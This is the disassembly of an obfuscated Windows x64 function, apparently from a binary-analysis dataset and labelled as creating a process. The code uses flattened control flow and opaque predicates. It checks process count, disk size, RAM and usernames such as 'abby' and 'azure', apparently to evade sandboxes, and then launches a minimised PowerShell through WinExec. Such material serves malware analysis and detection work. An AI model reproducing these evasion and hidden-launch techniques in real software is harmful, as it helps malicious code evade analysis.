Function at 0x140003c30
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov rax, qword [0x1400d7840]
xor rax, rbp
mov qword [rbp - 8], rax
mov dword [rbp - 0x50], 0x29ada3ab
mov eax, dword [rbp - 0x50]
mov dword [rbp - 0x54], eax
sub eax, 0x8d920c1b
je 0x140004c12
jmp 0x140003c65
mov eax, dword [rbp - 0x54]
sub eax, 0x8fc96d69
je 0x140004c8d
jmp 0x140003c78
mov eax, dword [rbp - 0x54]
sub eax, 0x90aed7f3
je 0x14000442f
jmp 0x140003c8b
mov eax, dword [rbp - 0x54]
sub eax, 0x9389995a
je 0x14000415c
jmp 0x140003c9e
mov eax, dword [rbp - 0x54]
sub eax, 0x9cdf1e7e
je 0x140004645
jmp 0x140003cb1
mov eax, dword [rbp - 0x54]
sub eax, 0x9d906684
je 0x14000475a
jmp 0x140003cc4
mov eax, dword [rbp - 0x54]
sub eax, 0xa7e20ff8
je 0x14000473f
jmp 0x140003cd7
mov eax, dword [rbp - 0x54]
sub eax, 0xbb7f107f
je 0x1400043e0
jmp 0x140003cea
mov eax, dword [rbp - 0x54]
sub eax, 0xbe1b7aac
je 0x140004bd5
jmp 0x140003cfd
mov eax, dword [rbp - 0x54]
sub eax, 0xbe6e7d7a
je 0x1400044b7
jmp 0x140003d10
mov eax, dword [rbp - 0x54]
sub eax, 0xc1224123
je 0x140004bab
jmp 0x140003d23
mov eax, dword [rbp - 0x54]
sub eax, 0xc4b49fa5
je 0x140004597
jmp 0x140003d36
mov eax, dword [rbp - 0x54]
sub eax, 0xca7605b2
je 0x1400045de
jmp 0x140003d49
mov eax, dword [rbp - 0x54]
sub eax, 0xccab144b
je 0x140004bb7
jmp 0x140003d5c
mov eax, dword [rbp - 0x54]
sub eax, 0xcd148c19
je 0x140004bf3
jmp 0x140003d6f
mov eax, dword [rbp - 0x54]
sub eax, 0xd4a66541
je 0x140004b1e
jmp 0x140003d82
mov eax, dword [rbp - 0x54]
sub eax, 0xe086eb08
je 0x140004993
jmp 0x140003d95
mov eax, dword [rbp - 0x54]
sub eax, 0xe5e45a09
je 0x140004783
jmp 0x140003da8
mov eax, dword [rbp - 0x54]
sub eax, 0xe7b9aed2
je 0x1400041cb
jmp 0x140003dbb
mov eax, dword [rbp - 0x54]
sub eax, 0xe7ed9fd1
je 0x1400042cb
jmp 0x140003dce
mov eax, dword [rbp - 0x54]
sub eax, 0xee39f100
je 0x140004533
jmp 0x140003de1
mov eax, dword [rbp - 0x54]
sub eax, 0xef32d078
je 0x1400045a3
jmp 0x140003df4
mov eax, dword [rbp - 0x54]
sub eax, 0xf663e8f5
je 0x140004777
jmp 0x140003e07
mov eax, dword [rbp - 0x54]
sub eax, 0xf8a96e68
je 0x140004a9d
jmp 0x140003e1a
mov eax, dword [rbp - 0x54]
sub eax, 0xfa32ee79
je 0x140004912
jmp 0x140003e2d
mov eax, dword [rbp - 0x54]
sub eax, 0x42e8fc
je 0x1400045bf
jmp 0x140003e40
mov eax, dword [rbp - 0x54]
sub eax, 0x39f9ac7
je 0x1400040bb
jmp 0x140003e53
mov eax, dword [rbp - 0x54]
sub eax, 0x86cb621
je 0x1400041de
jmp 0x140003e66
mov eax, dword [rbp - 0x54]
sub eax, 0x8e03eef
je 0x140004c64
jmp 0x140003e79
mov eax, dword [rbp - 0x54]
sub eax, 0xfe40aeb
je 0x1400041ea
jmp 0x140003e8c
mov eax, dword [rbp - 0x54]
sub eax, 0x10b63fae
je 0x1400042d7
jmp 0x140003e9f
mov eax, dword [rbp - 0x54]
sub eax, 0x1ca0ab7e
je 0x140004a91
jmp 0x140003eb2
mov eax, dword [rbp - 0x54]
sub eax, 0x1fed0517
je 0x140004906
jmp 0x140003ec5
mov eax, dword [rbp - 0x54]
sub eax, 0x27caf0e4
je 0x1400044ab
jmp 0x140003ed8
mov eax, dword [rbp - 0x54]
sub eax, 0x29ada3ab
je 0x14000406c
jmp 0x140003eeb
mov eax, dword [rbp - 0x54]
sub eax, 0x2ae8ccd7
je 0x140004150
jmp 0x140003efe
mov eax, dword [rbp - 0x54]
sub eax, 0x3214ac5e
je 0x140004206
jmp 0x140003f11
mov eax, dword [rbp - 0x54]
sub eax, 0x322c6fc4
je 0x1400043a6
jmp 0x140003f24
mov eax, dword [rbp - 0x54]
sub eax, 0x3243f164
je 0x140004bff
jmp 0x140003f37
mov eax, dword [rbp - 0x54]
sub eax, 0x32996d09
je 0x140004326
jmp 0x140003f4a
mov eax, dword [rbp - 0x54]
sub eax, 0x35733940
je 0x140004bc3
jmp 0x140003f5d
mov eax, dword [rbp - 0x54]
sub eax, 0x3ab57840
je 0x1400045d2
jmp 0x140003f70
mov eax, dword [rbp - 0x54]
sub eax, 0x41c9c2f9
je 0x14000421f
jmp 0x140003f83
mov eax, dword [rbp - 0x54]
sub eax, 0x449b69b7
je 0x1400045fb
jmp 0x140003f96
mov eax, dword [rbp - 0x54]
sub eax, 0x4ed3ea82
je 0x14000470a
jmp 0x140003fa9
mov eax, dword [rbp - 0x54]
sub eax, 0x4f282c1e
je 0x14000426e
jmp 0x140003fbc
mov eax, dword [rbp - 0x54]
sub eax, 0x54fce31e
je 0x1400042bf
jmp 0x140003fcf
mov eax, dword [rbp - 0x54]
sub eax, 0x57620129
je 0x140004d7a
jmp 0x140003fe2
mov eax, dword [rbp - 0x54]
sub eax, 0x58794dcf
je 0x1400047d2
jmp 0x140003ff5
mov eax, dword [rbp - 0x54]
sub eax, 0x5fffd91a
je 0x140004c43
jmp 0x140004008
mov eax, dword [rbp - 0x54]
sub eax, 0x6407b599
je 0x1400046ef
jmp 0x14000401b
mov eax, dword [rbp - 0x54]
sub eax, 0x64918eef
je 0x1400043b2
jmp 0x14000402e
mov eax, dword [rbp - 0x54]
sub eax, 0x676096e7
je 0x1400043cd
jmp 0x140004041
mov eax, dword [rbp - 0x54]
sub eax, 0x6f8f81e8
je 0x140004c37
jmp 0x140004054
mov eax, dword [rbp - 0x54]
sub eax, 0x7bcb4e5d
je 0x140004e35
jmp 0x140004067
jmp 0x140004e4d
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
add edx, 0xe8798475
sub edx, 1
sub edx, 0xe8798475
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd148c19
mov ecx, 0x39f9ac7
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov eax, 0x10
call fcn.1400a2340
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
mov edx, ecx
add edx, 0x59687ee2
sub edx, 1
sub edx, 0x59687ee2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd148c19
mov ecx, 0x2ae8ccd7
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x9389995a
jmp 0x140004e4d
mov eax, 0x10
mov qword [rbp - 0x60], rax
call fcn.1400a2340
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, 0x20
call fcn.1400a2340
sub rsp, rax
mov rax, qword [rbp - 0x60]
mov rcx, rsp
mov qword [rbp - 0x30], rcx
call fcn.1400a2340
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x44], 0
sub rsp, 0x20
call section..text
add rsp, 0x20
mov dword [rbp - 0x48], eax
mov eax, 0xfe40aeb
mov ecx, 0xe7b9aed2
cmp dword [rbp - 0x48], 0x5a
cmovl eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x50], 0x86cb621
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x35733940
jmp 0x140004e4d
sub rsp, 0x20
call fcn.140001a40
add rsp, 0x20
mov dword [rbp - 0x4c], eax
mov dword [rbp - 0x50], 0x3214ac5e
jmp 0x140004e4d
mov eax, 0x10b63fae
mov ecx, 0x41c9c2f9
cmp dword [rbp - 0x4c], 0x79
cmovl eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
sub edx, 0xee4e97cc
sub edx, 1
add edx, 0xee4e97cc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3243f164
mov ecx, 0x4f282c1e
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x44], 0
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3243f164
mov ecx, 0x54fce31e
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0xe7ed9fd1
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x35733940
jmp 0x140004e4d
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
add edx, 0x2b359cc2
sub edx, 1
sub edx, 0x2b359cc2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d920c1b
mov ecx, 0x32996d09
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
sub rsp, 0x20
call fcn.1400020a0
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp - 0x40]
mov dword [rax], ecx
mov rax, qword [rbp - 0x40]
cvtsi2sd xmm1, dword [rax]
movsd xmm0, qword [0x1400c6460]
ucomisd xmm0, xmm1
seta al
and al, 1
mov byte [rbp - 0x1b], al
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
add edx, 0xafd19ddc
sub edx, 1
sub edx, 0xafd19ddc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d920c1b
mov ecx, 0x322c6fc4
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x64918eef
jmp 0x140004e4d
mov dl, byte [rbp - 0x1b]
mov eax, 0xbe6e7d7a
mov ecx, 0x676096e7
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x50], 0xbb7f107f
jmp 0x140004e4d
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
sub edx, 0x6d3c7477
sub edx, 1
add edx, 0x6d3c7477
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f8f81e8
mov ecx, 0x90aed7f3
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f8f81e8
mov ecx, 0x27caf0e4
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x35733940
jmp 0x140004e4d
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5fffd91a
mov ecx, 0xee39f100
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
sub rsp, 0x20
call fcn.140002150
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp - 0x38]
mov dword [rax], ecx
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
sub edx, 0x836e1f49
sub edx, 1
add edx, 0x836e1f49
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5fffd91a
mov ecx, 0xc4b49fa5
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0xef32d078
jmp 0x140004e4d
mov rdx, qword [rbp - 0x38]
mov eax, 0xca7605b2
mov ecx, 0x42e8fc
cmp dword [rdx], 3
cmovl eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x50], 0x3ab57840
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x35733940
jmp 0x140004e4d
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.1400023f0
add rsp, 0x20
mov dword [rbp - 0x50], 0x449b69b7
jmp 0x140004e4d
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e03eef
mov ecx, 0x9cdf1e7e
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov rcx, qword [rbp - 0x30]
lea rdx, str.abby
xor eax, eax
mov r8d, eax
sub rsp, 0x20
call fcn.14000e250
add rsp, 0x20
cmp rax, 0xffffffffffffffff
setne al
and al, 1
mov byte [rbp - 0x1a], al
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
mov edx, ecx
add edx, 0xef6c0227
sub edx, 1
sub edx, 0xef6c0227
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e03eef
mov ecx, 0x6407b599
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dl, byte [rbp - 0x1a]
mov eax, 0x4ed3ea82
mov ecx, 0x9d906684
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov rcx, qword [rbp - 0x30]
lea rdx, str.azure
xor eax, eax
mov r8d, eax
sub rsp, 0x20
call fcn.14000e250
add rsp, 0x20
cmp rax, 0xffffffffffffffff
setne al
and al, 1
mov byte [rbp - 0x19], al
mov dword [rbp - 0x50], 0xa7e20ff8
jmp 0x140004e4d
mov dl, byte [rbp - 0x19]
mov eax, 0xe5e45a09
mov ecx, 0x9d906684
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x44], 0
mov rax, qword [rbp - 0x28]
mov dword [rax], 1
mov dword [rbp - 0x50], 0xf663e8f5
jmp 0x140004e4d
mov dword [rbp - 0x50], 0xf8a96e68
jmp 0x140004e4d
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
add edx, 0xb4641007
sub edx, 1
sub edx, 0xb4641007
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8fc96d69
mov ecx, 0x58794dcf
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
lea rcx, [0x1400d8c30]
lea rdx, str.Total_process
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov edx, dword [rbp - 0x48]
sub rsp, 0x20
call fcn.140007b40
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.total_size_of_disk
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov edx, dword [rbp - 0x4c]
sub rsp, 0x20
call fcn.14000e810
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.Total_Ram
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x40]
mov edx, dword [rax]
sub rsp, 0x20
call fcn.14000e810
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.total_process_count
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov qword [rbp - 0x18], rax
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
add edx, 0xa78ec07a
sub edx, 1
sub edx, 0xa78ec07a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8fc96d69
mov ecx, 0x1fed0517
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0xfa32ee79
jmp 0x140004e4d
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
mov edx, ecx
add edx, 0xf96591c3
sub edx, 1
sub edx, 0xf96591c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x57620129
mov ecx, 0xe086eb08
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov rax, qword [rbp - 0x38]
mov edx, dword [rax]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.14000e810
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.username
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.14000df50
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.Hello_World__n
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
lea rcx, str.cmd.exe__c_start__min____powershell.exe__NoExit
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_WinExec]
add rsp, 0x20
mov dword [rbp - 0x44], 1
mov rax, qword [rbp - 0x28]
mov dword [rax], 1
mov eax, dword [0x1400dabb0]
mov ecx, dword [0x1400dabac]
mov edx, eax
sub edx, 0xe7900b6c
sub edx, 1
add edx, 0xe7900b6c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57620129
mov ecx, 0x1ca0ab7e
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0xf8a96e68
jmp 0x140004e4d
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
mov edx, ecx
sub edx, 0xb620042b
sub edx, 1
add edx, 0xb620042b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7bcb4e5d
mov ecx, 0xd4a66541
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.14000ccf0
add rsp, 0x20
mov ecx, dword [0x1400dabb0]
mov eax, dword [0x1400dabac]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7bcb4e5d
mov ecx, 0xc1224123
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x50], eax
jmp 0x140004e4d
mov dword [rbp - 0x50], 0xccab144b
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x35733940
jmp 0x140004e4d
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0xc], eax
mov dword [rbp - 0x50], 0xbe1b7aac
jmp 0x140004e4d
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x64], eax
mov rcx, qword [rbp - 8]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400a23a0
mov eax, dword [rbp - 0x64]
mov rsp, rbp
pop rbp
ret
mov dword [rbp - 0x50], 0x39f9ac7
jmp 0x140004e4d
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x50], 0x4f282c1e
jmp 0x140004e4d
sub rsp, 0x20
call fcn.1400020a0
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp - 0x40]
mov dword [rax], ecx
mov rax, qword [rbp - 0x40]
mov dword [rbp - 0x50], 0x32996d09
jmp 0x140004e4d
mov dword [rbp - 0x50], 0x90aed7f3
jmp 0x140004e4d
sub rsp, 0x20
call fcn.140002150
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp - 0x38]
mov dword [rax], ecx
mov dword [rbp - 0x50], 0xee39f100
jmp 0x140004e4d
mov rcx, qword [rbp - 0x30]
lea rdx, str.abby
xor eax, eax
mov r8d, eax
sub rsp, 0x20
call fcn.14000e250
add rsp, 0x20
mov dword [rbp - 0x50], 0x9cdf1e7e
jmp 0x140004e4d
lea rcx, [0x1400d8c30]
lea rdx, str.Total_process
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov edx, dword [rbp - 0x48]
sub rsp, 0x20
call fcn.140007b40
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.total_size_of_disk
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov edx, dword [rbp - 0x4c]
sub rsp, 0x20
call fcn.14000e810
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.Total_Ram
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x40]
mov edx, dword [rax]
sub rsp, 0x20
call fcn.14000e810
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.total_process_count
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov dword [rbp - 0x50], 0x58794dcf
jmp 0x140004e4d
mov rax, qword [rbp - 0x38]
mov edx, dword [rax]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.14000e810
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.username
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.14000df50
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140007920]
sub rsp, 0x20
call fcn.1400074a0
add rsp, 0x20
mov rcx, rax
lea rdx, str.Hello_World__n
sub rsp, 0x20
call fcn.140005000
add rsp, 0x20
lea rcx, str.cmd.exe__c_start__min____powershell.exe__NoExit
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_WinExec]
add rsp, 0x20
mov dword [rbp - 0x44], 1
mov rax, qword [rbp - 0x28]
mov dword [rax], 1
mov dword [rbp - 0x50], 0xe086eb08
jmp 0x140004e4d
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
call fcn.14000ccf0
add rsp, 0x20
mov dword [rbp - 0x50], 0xd4a66541
jmp 0x140003c4f